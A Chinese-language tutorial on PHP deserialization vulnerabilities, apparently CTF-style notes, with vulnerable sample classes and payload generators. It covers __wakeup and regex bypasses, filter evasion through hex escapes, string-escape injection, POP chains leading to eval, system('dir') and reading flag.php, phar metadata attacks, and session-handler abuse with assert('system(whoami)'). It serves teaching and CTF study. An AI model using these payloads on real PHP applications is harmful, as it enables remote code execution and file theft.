十五. PHP反序列化

<?php
    class 类名{
    	// 常量
    	修饰值 $属性名=属性值(可以不初始化值);
    	//属性
    	// 构造器(析构函数)
    	// 方法
    	修饰值 function name(){
            方法体;
        }
}

<?php
class test {
    // $a,$b为test类的属性
    var $a;
    var $b;
    public function echo_test(){
        echo $this->a;
        echo $this->b;
    }
}
// 实例化一个对象
$test = new test();
// 给test对象中的a赋值
$test->a="Bob\n";
// 给test对象中的b赋值
$test->b="Hello\n";
// 调用test对象中的echo_test()方法
$test->echo_test();

<?php
// 定义类A
class A {
    public $a = 'public'; // 公共属性,类内外都可以访问
    protected $b = 'protected'; // 受保护属性,只有类内部和子类可以访问
    private $c = 'private'; // 私有属性,只有类内部可以访问

    // 构造函数,当对象被创建时调用
    function __construct() {
        echo "本类 " . $this->a . "\n"; // 打印公共属性
        echo "本类 " . $this->b . "\n"; // 打印受保护属性
        echo "本类 " . $this->c . "\n"; // 打印私有属性
    }
}

// 定义类B,它继承自类A
class B extends A {
    // 构造函数,当对象被创建时调用
    function __construct() {
        parent::__construct(); // 调用父类的构造函数
        echo "子类 " . $this->a . "\n"; // 打印从父类继承的公共属性
        echo "子类 " . $this->b . "\n"; // 打印从父类继承的受保护属性
        // 由于$c是私有属性,这里会发生错误,子类无法访问父类的私有属性
        // echo "子类 " . $this->c . "\n"; // 这行代码会产生错误,注释掉
    }
}

$aaa = new A(); // 实例化类A的对象
$bbb = new B(); // 实例化类B的对象,会调用类B的构造函数,而类B的构造函数会调用父类A的构造函数

// 下面尝试从外部访问这些属性
echo "外部   " . $aaa->a . "\n"; // 正确,外部可以访问公共属性
// 下面这两行都会出错,因为从外部不能访问protected和private属性
// echo "外部   " . $aaa->b . "\n"; // 错误,外部不能访问受保护属性,注释掉
// echo "外部   " . $aaa->c . "\n"; // 错误,外部不能访问私有属性,注释掉
?>

class Demo {
    private $flag; // 私有属性,仅类内部可访问

    public function __construct(){
        echo "construct"."\n"; // 构造函数,创建对象时调用,输出"construct"
    }
    public function __toString() {
        return '对象作字符串处理'; // 将对象转换为字符串时调用
    }
    
    public function __set($key, $value) {
        echo "set ".$key."=>".$value."\n"; // 设置不可访问属性时调用
    }
    
    public function __get($key) {
        echo "get ".$key."\n"; // 获取不可访问属性时调用
    }
    
    
    public function __unset($key) {
        echo "unset "."=>".$key."\n"; // 当对不可访问属性调用unset()时调用
    }
    
    public function __wakeup() {
        // 对象被unserialize()函数调用时,重新构建对象
        // 恢复操作,例如:
        $this->flag = '对象被反序列化'; // 为私有属性flag赋值
    }
    
    public function __invoke($arg) {
        return '对象被当作函数调用,参数:' . $arg; // 当对象被当作函数调用时执行
    }
    
    public function givemeflag($flag){
        echo "flag{".$flag."}"."\n"; // 自定义方法,输出参数
    }
    
    public function __call($function, $args){
        echo "call ".$function." ".json_encode($args)."\n"; // 调用不可访问方法时执行
    }
    
    public function __destruct() {
        // 对象销毁时调用
        echo '对象被销毁'; // 输出"对象被销毁"
    }
}

$demo = new Demo(); // 创建Demo类的实例
$b = serialize($demo); // 序列化$demo对象,存储序列化字符串到$b
unserialize($b); // 反序列化字符串$b,触发__wakeup
$demo(); // 调用$demo对象作为函数,触发__invoke

$demo->flag = 'wonima'; // 设置私有属性flag,触发__set
echo $demo->flag; // 获取私有属性flag,触发__get
unset($demo->flag); // 删除私有属性flag,触发__unset
$demo->givemeflag("wonima"); // 调用存在的公共方法givemeflag

string serialize(mixed $value)
# return 字符串 input:混合型
serialize() # 序列化 函数用于序列化对象或数组,并返回一个字符串.

<?php
// 定义一个类叫做man
class man{
    public $name;  // 定义一个公共属性$name,用来存储人的名字
    public $age;   // 定义一个公共属性$age,用来存储人的年龄
    public $height; // 定义一个公共属性$height,用来存储人的身高
    
    // 类的构造函数,当创建man类的实例时自动调用
    function __construct($name,$age,$height){
        $this->name = $name;   // 将传入构造函数的$name参数赋值给对象的$name属性
        $this->age = $age;     // 将传入构造函数的$age参数赋值给对象的$age属性
        $this->height = $height; // 将传入构造函数的$height参数赋值给对象的$height属性
    }
}
// 实例化man类的一个对象,传入姓名"Bob",年龄23岁,身高178厘米
$man = new man("Bob",23,178);

// 使用serialize函数序列化$man对象,然后使用var_dump函数打印序列化的字符串
var_dump(serialize($man));
?>

# 序列化后
string(69) "O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:23;s:6:"height";i:178;}"
# string(69) 表示我们序列化的字符串的长度
# O:Object
# 3表示Class名称长度
# man表示Class名称
# 3表示里面有几个元素
# s表示字符串

<?php
$man = 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:23;s:6:"height";i:178;}';
var_dump(unserialize($man));

/*
result:
object(man)#1 (3) {
  ["name"]=>
  string(3) "Bob"
  ["age"]=>
  int(23)
  ["height"]=>
  int(178)
}
*/

<?php
// 定义一个类叫做man
class man{
    public $name;  // 定义一个公共属性$name,用来存储人的名字
    public $age;   // 定义一个公共属性$age,用来存储人的年龄
    public $height; // 定义一个公共属性$height,用来存储人的身高
    
    // 类的构造函数,当创建man类的实例时自动调用
    function __construct($name,$age,$height){
        $this->name = $name;   // 将传入构造函数的$name参数赋值给对象的$name属性
        $this->age = $age;     // 将传入构造函数的$age参数赋值给对象的$age属性
        $this->height = $height; // 将传入构造函数的$height参数赋值给对象的$height属性
    }
}
# 序列化后的字符串
$man = 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:23;s:6:"height";i:178;}';
var_dump(unserialize($man));

a - array                    // 数组
b - boolean                  // 布尔值
d - double                   // 双精度浮点数
i - integer                  // 整数
o - common object            // 常规对象(已废弃,被 O 替代)
r - reference                // 引用
s - string                   // 字符串
C - custom object            // 自定义对象,具有自定义序列化的对象
O - class                    // 对象
N - null                     // NULL值
R - pointer reference        // 指针引用,指向另一个值的引用
U - unicode string           // Unicode字符串(PHP 6之前的特性,已不再使用)

<?php 
// 定义名为Demo的类
class Demo { 
    private $file = 'index.php'; // 私有属性,存储文件名,默认为'index.php'

    // 构造函数,当创建Demo类的实例时自动调用
    public function __construct($file) { 
        $this->file = $file; // 将传入的$file参数赋值给对象的$file属性
    }

    // 析构函数,当Demo类的实例销毁时自动调用
    function __destruct() { 
        echo @highlight_file($this->file, true); // 输出高亮显示的$file文件内容
    }

    // 当尝试对一个对象进行unserialize操作时,会自动调用此函数
    function __wakeup() { 
        if ($this->file != 'index.php') { // 文件名如果不是'index.php'
            // 注意信息:秘密在fl4g.php中
            $this->file = 'index.php'; // 强制将$file属性设回为'index.php'
        } 
    } 
}

// 检查是否存在名为'var'的GET变量
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); // 对GET变量'var'进行base64解码
    // 使用正则表达式检查解码后的字符串是否包含有特定模式(可能是序列化的对象或类)
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); // 如果匹配到模式,则终止脚本,并输出警告信息
    } else {
        @unserialize($var); // 如果没有匹配到模式,尝试反序列化字符串
    } 
} else { 
    highlight_file(__FILE__); // 如果没有GET变量'var',则高亮显示当前PHP文件内容
} 
?>

$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}";

class Demo{
    private $file = 'index.php';
    public function __construct($file)
    {
        $this->file = $file;
    }
    function __destruct()
    {
        echo @highlight_file($this->file, true);
    }
    function __wakeup()
    {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}

$a = new Demo("fl4g.php");
$a = serialize($a);
$a = str_replace("O:4","O:+4",$a); // 绕过正则
$a = str_replace(":1:",":2:",$a); // 绕过wakeup
$a = base64_encode($a); // base6编码
echo $a;

<?php
class man{
    public $name;
    protected $age;
    private $height;
    function __construct($name,$age,$height){
        $this->name = $name;
        $this->age = $age;
        $this->height = $height;
    }
}

# 反序列化\x00 2a \x00(对应的16进制002a00)的受保护的序列值
$man = new man('regret','23','178');
var_dump(bin2hex(serialize($man)));


# result:
object(man)#1 (3) {
  ["name"]=>
  string(6) "regret"
  ["age":protected]=>
  int(23)
  ["height":"man":private]=>
  int(178)
}

<?php
class man{
    public $name;
    protected $age;
    private $height;
    function __construct($name,$age,$height){
        $this->name = $name;
        $this->age = $age;
        $this->height = $height;
    }
}

# php5.5.9反序列化没有\x00  \x00(对应的16进制002a00)的受保护的序列值
$hex = '4f3a333a226d616e223a333a7b733a343a226e616d65223b733a363a22726567726574223b733a363a222a616765223b693a32333b733a31313a22006d616e00686569676874223b693a3137383b7d';
var_dump(unserialize(hex2bin($hex)));


# result:
bool(false)

<?php
class man
{
    public $name;
    protected $age;
    private $height;

    function __construct($name, $age, $height)
    {
        $this->name = $name;
        $this->age = $age;
        $this->height = $height;
    }
}

// 注意:如果将\x00 \x00删掉之后,对应的s:6:"*age"这个6(hex:36)也要删除2个字节,也就是4(hex:34)
$hex = '4f3a333a226d616e223a333a7b733a343a226e616d65223b733a363a22726567726574223b733a343a222a616765223b693a32333b733a31313a22006d616e00686569676874223b693a3137383b7d';
$unserializedData = unserialize(hex2bin($hex));
var_dump($unserializedData);



# result:
object(man)#2 (4) {
  ["name"]=>
  string(6) "regret"
  ["age":protected]=>
  NULL
  ["height":"man":private]=>
  int(178)
  ["*age"]=>
  int(23)
}

<?php

// 定义一个名为test的类
class test
{
    public $a; // 定义一个公共属性$a

    // 构造函数,每当类被实例化时,它就会被调用
    public function __construct()
    {
        $this->a = 'abc'; // 初始化属性$a为字符串'abc'
    }

    // 当对象被反序列化时,__wakeup魔术方法会被调用
    public function __wakeup()
    {
        $this->a = '666'; // 反序列化时,将属性$a的值设置为'666'
    }

    // 析构函数,当对象被销毁时,它会被调用
    public function __destruct()
    {
        echo $this->a; // 在对象被销毁前输出属性$a的值
    }
}

// 实例化test类的对象
$test = new test();
// 序列化$test对象,然后将序列化的字符串转换为16进制表示,最后打印出来
var_dump(serialize($test));

#result:
string(33) "O:4:"test":1:{s:1:"a";s:3:"abc";}"
abc

<?php
// 定义一个类test
class test {
    public $a; // 类的公共属性$a

    // 类的构造函数,初始化属性$a
    public function __construct() {
        $this->a = 'abc';
    }

    // 类的析构函数,当对象被销毁时输出属性$a
    public function  __destruct() {
        echo $this->a.PHP_EOL; // 打印属性$a并换行
    }
}

// 定义一个函数match来检查数据是否以序列化的对象字符串开头
function match($data) {
    // 使用正则表达式检查是否以PHP序列化的对象格式开头
    if (preg_match('/^O:\d+/',$data)){
        die('you lose!'); // 如果是,终止脚本并输出消息
    } else {
        return $data; // 如果不是,返回原始数据
    }
}

// 初始化一个序列化的对象字符串
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';

// 将序列化的对象字符串中的'O:4'替换为'O:+4',用于绕过正则表达式的检查
$b = str_replace('O:4','O:+4', $a);

// 对修改后的数据使用match函数检查,然后尝试反序列化
unserialize(match($b));

// 将原始的序列化对象字符串$a包装在一个数组中并序列化
// unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
// 尝试反序列化上面序列化的数组,其中包含了test对象
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
?>

O:4:"test":1:{s:8:"username";s:5:"admin";}
可以写成
O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}
    
    
如果安全检查是寻找 "username" 字符串,你可以将 "username" 中的 "u" 替换为它的16进制形式 "\75".
检查可能会忽略 "\75sername",因为按字面上它不等于 "username".然而,当反序列化操作发生时,"\75" 会被解析回 "u",原始的字符串 "username" 就会被重建,原本的检查被绕过.

// 定义一个名为 test 的类
class test{
    public $username; // 定义公共变量 $username

    // 类的构造函数
    public function __construct(){
        $this->username = 'admin'; // 初始化变量 $username 为字符串 'admin'
    }

    // 类的析构函数
    public function __destruct(){
        echo 666; // 在对象销毁时,输出 666
    }
}

// 定义了一个名为 check 的函数,用于检查数据中是否包含 'username' 字符串
function check($data){
    // 使用 stristr 函数检查 $data 中是否包含 'username' 字符串
    if(stristr($data, 'username')!==False){
        echo("你绕不过!!".PHP_EOL); // 如果包含,则输出提示信息
    }
    else{
        return $data; // 如果不包含,则返回原始数据
    }
}

// 未经处理的序列化字符串,包含 'username' 字段
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a); // 检查是否包含 'username',此时会输出提示信息,因为包含



// 处理后的序列化字符串,其中 'username' 被替换成了它的16进制表示形式 '\75sername'
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a); // 检查处理后的数据,不会输出提示信息,因为没有直接包含 'username'
unserialize($a); // 反序列化处理后的数据,会触发 test 类的析构方法,输出 666

<?php
// 定义一个函数change,用于将字符串中的所有"x"替换成"xx"
function change($str){
    // 使用str_replace函数替换字符串中的"x"为"xx"
    return str_replace("x", "xx", $str);
}

// 从请求的GET参数中获取'name'的值
$name = $_GET['name']; // 警告:这里没有进行任何的输入过滤或验证,实际应用中这是一个严重的安全问题.

// 定义一个字符串变量$age
$age = "I am 11";

// 创建一个数组$arr,包含$name和$age两个元素
$arr = array($name, $age);

// 输出提示信息
echo "反序列化字符串:";

// 使用serialize函数序列化$arr数组,并输出
var_dump(serialize($arr));

// 输出换行HTML标签
echo "<br/>";

// 输出提示信息
echo "过滤后:";

// 对序列化的数组字符串进行过滤替换(调用change函数),并赋值给$old
$old = change(serialize($arr));

// 对替换后的字符串进行反序列化,并赋值给$new
$new = unserialize($old);

// 输出过滤后的反序列化结果
var_dump($new);

// 输出换行HTML标签
echo "<br/>";

// 显示$new数组中的第二个元素,即年龄信息
echo "此时,age=$new[1]"; // 注意:如果$new[1]的数据类型不是字符串,这里可能产生错误或不可预料的行为.

// 把字符串中的每一个'x'替换成两个'xx'
$old = str_replace('x', 'xx', serialize($arr));

<?php
// 定义一个函数change,用于将字符串中的所有"xx"替换成"x"
function change($str){
    // 使用str_replace函数进行字符串替换
    return str_replace("xx", "x", $str);
}

// 从URL的GET参数中获取'name'并赋值给数组$arr的'name'键
$arr['name'] = $_GET['name']; // 注意:直接使用用户输入可能导致安全漏洞

// 从URL的GET参数中获取'age'并赋值给数组$arr的'age'键
$arr['age'] = $_GET['age']; // 注意:同上,需要对用户输入进行验证和过滤

// 输出文字提示
echo "反序列化字符串:";

// 输出序列化后的$arr数组
var_dump(serialize($arr));

// 输出HTML的换行标签
echo "<br/>";

// 输出文字提示
echo "过滤后:";

// 把序列化后的字符串通过change函数处理,并将处理后的结果赋值给$old
$old = change(serialize($arr));

// 输出处理后的字符串
var_dump($old);

// 输出HTML的换行标签
echo "<br/>";

// 使用unserialize函数对处理后的字符串$old进行反序列化,并将结果赋值给$new
$new = unserialize($old);

// 输出反序列化后的数组
var_dump($new);

// 输出HTML的换行标签
echo "<br/>此时,age=";

// 输出新数组$new中'age'键对应的值
echo $new['age'];

// 定义了一个名为test的类
class test{
    private $index; // 私有属性 $index,用于储存index类的实例

    // test类的构造函数
    function __construct(){
        $this->index=new index(); // 在新创建的test类实例中,为属性$index创建一个新的index类实例
    }

    // test类的析构函数
    function __destruct(){
        $this->index->hello(); // 在test类对象被销毁前,调用其属性$index的hello方法
    }
}

// 定义了一个名为index的类
class index{
    // index类中定义了一个公共方法hello
    public function hello(){
        echo '你好啊~'; // 当调用此方法时,输出字符串"你好啊~"
    }
}

// 定义了一个名为execute的类
class execute{
    public $test; // 公共属性$test,可以存储任何值

    // execute类中的hello方法
    function hello(){
        eval($this->test); // 使用eval函数执行存储在$test属性中的字符串.这里存在安全风险,不推荐使用eval.
    }
}

unserialize($_GET['test']);

<?php
    class test{
    	private $index;
    	function __construct(){
            $this->index=new execute();
        }
    
}
	class execute{
        public $test="system('dir');";
    }
	$a=new test();
	echo urlencode(serialize($a));

class Modifier {
    protected $var;

    public function append($value) {
        include($value);
    }

    public function __invoke() {
        $this->append($this->var);
    }
}

class Show {
    public $source;
    public $str;

    public function __construct($file = 'index.php') {
        $this->source = $file;
        echo 'Welcome to ' . $this->source . "<br>";
    }
        
    public function __toString() {
        return $this->str . $this->source;
    }

    public function __wakeup() {
        if (preg_match("/^(gopher|http|file|ftp|https|dict)\.*/i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test {
    public $p;

    public function __construct() {
        $this->p = array();
    }

    public function __get($key) {
        $function = $this->p;
        return $function();
    }
}

if (isset($_GET['pop'])) {
    // The @ operator is used to suppress error messages.
    // This is generally a bad practice and can lead to security vulnerabilities.
    // Also, unserialize user input directly is very dangerous because it can lead to object injection vulnerabilities.
    @unserialize($_GET['pop']);
} else {
    $a = new Show;
    highlight_file(__FILE__);
}

class Modifier{
    // include函数使用伪协议读取文件
    protected $var="flag.php";
    // 或者利用php伪协议读取
    //protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

class Test{
    public $p;
}

class Show{
    public $source;
    public $str;
	// 类中将另一个对象赋值给属性需要使用构造函数.
    public function __construct(){
        $this->str = new Test();
    }
}

// 此时source(show) -> str
$a = new Show();
// source(show) -> str之后触发__tostring然后访问source(test)触发__get
$a->source = new Show();
// __get返回的$p触发__invoke
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));

<?php
//反序列化payload构造
class TestObject{}
@unlink("phar.phar");

//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("phar.phar");
//开始缓冲对phar的写操作
$phar->startBuffering();
//设置识别phar拓展的标识stub,必须以 __HALT_COMPILER();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

//将反序列化的对象放入该文件中
$o = new TestObject();
$o->data = 'It\'s Bob';
//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($o);

//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.txt", "Bob");
//停止缓冲对phar的写操作
$phar->stopBuffering();

<?php
# 反序列化
class TestObject{
    function __destruct()
    {
        echo $this->data;
    }
}
include 'phar://phar.phar';

<?php
// 检查是否有文件被上传
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
    // 检查文件类型是否为GIF
    if ($_FILES["file"]["type"] == "image/gif" && pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION) == 'gif') {
        // 上传的文件信息
        echo "Upload: " . $_FILES["file"]["name"] . "</br>";
        echo "Type: " . $_FILES["file"]["type"] . "</br>";
        echo "Temp file: " . $_FILES["file"]["tmp_name"] . "</br>";
        // 检查是否已存在同名文件
        if (file_exists("./" . $_FILES["file"]["name"])) {
            echo $_FILES["file"]["name"] . " already exists";
        } else {
            // 移动文件到指定目录
            if (move_uploaded_file($_FILES["file"]["tmp_name"], "./" . $_FILES["file"]["name"])) {
                echo "Stored in: " . "./" . $_FILES["file"]["name"];
            } else {
                // 文件移动失败
                echo 'Failed to upload the file';
            }
        }
    } else {
        // 文件类型不符合要求
        echo "Invalid file, you can only upload a GIF file";
    }
}
?>
<!-- HTML表单用于文件上传 -->
<body>
    <form action="" method="post" enctype="multipart/form-data">
        <label for="file">File:</label>
        <input type="file" name="file" id="file"> <!-- 文件选择输入框 -->
        <input type="submit" value="Upload"> <!-- 提交按钮 -->
    </form>
</body>

<?php
$filename = $_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this->output);
    }
}
file_exists($filename);

<?php
class AnyClass{}
# 删除文件,确保开始前文件不存在,避免在创建新的phar文件时发生冲突.
@unlink("phar.phar");

//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("phar.phar");
//开始缓冲对phar的写操作
$phar->startBuffering();
//设置识别phar拓展的标识stub,必须以 __HALT_COMPILER();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

//将反序列化的对象放入该文件中
$o = new AnyClass();
$o->output = 'phpinfo();';
//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($o);

//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.txt", "lll");
//停止缓冲对phar的写操作
$phar->stopBuffering();

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test .txt

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class user{
    var $name;
    function __wakeup(){
        echo "hello ".$this->name." !"
    }
}
?>

class student
{
    var $payload;
    function __wakeup()
    {
        return assert($this->payload);
    }
}
$a = new student();
$a->payload = "system(whoami)";
echo serialize($a);

# result: O:7:"student":1:{s:7:"payload";s:14:"system(whoami)";}

error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['username'] = $_GET['n'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

error_reporting(0);
ini_set('session.serialize_handler', 'php');
session_start();
class student
{
    var $payload;
    function __wakeup()
    {
        return assert($this->payload);
    }
}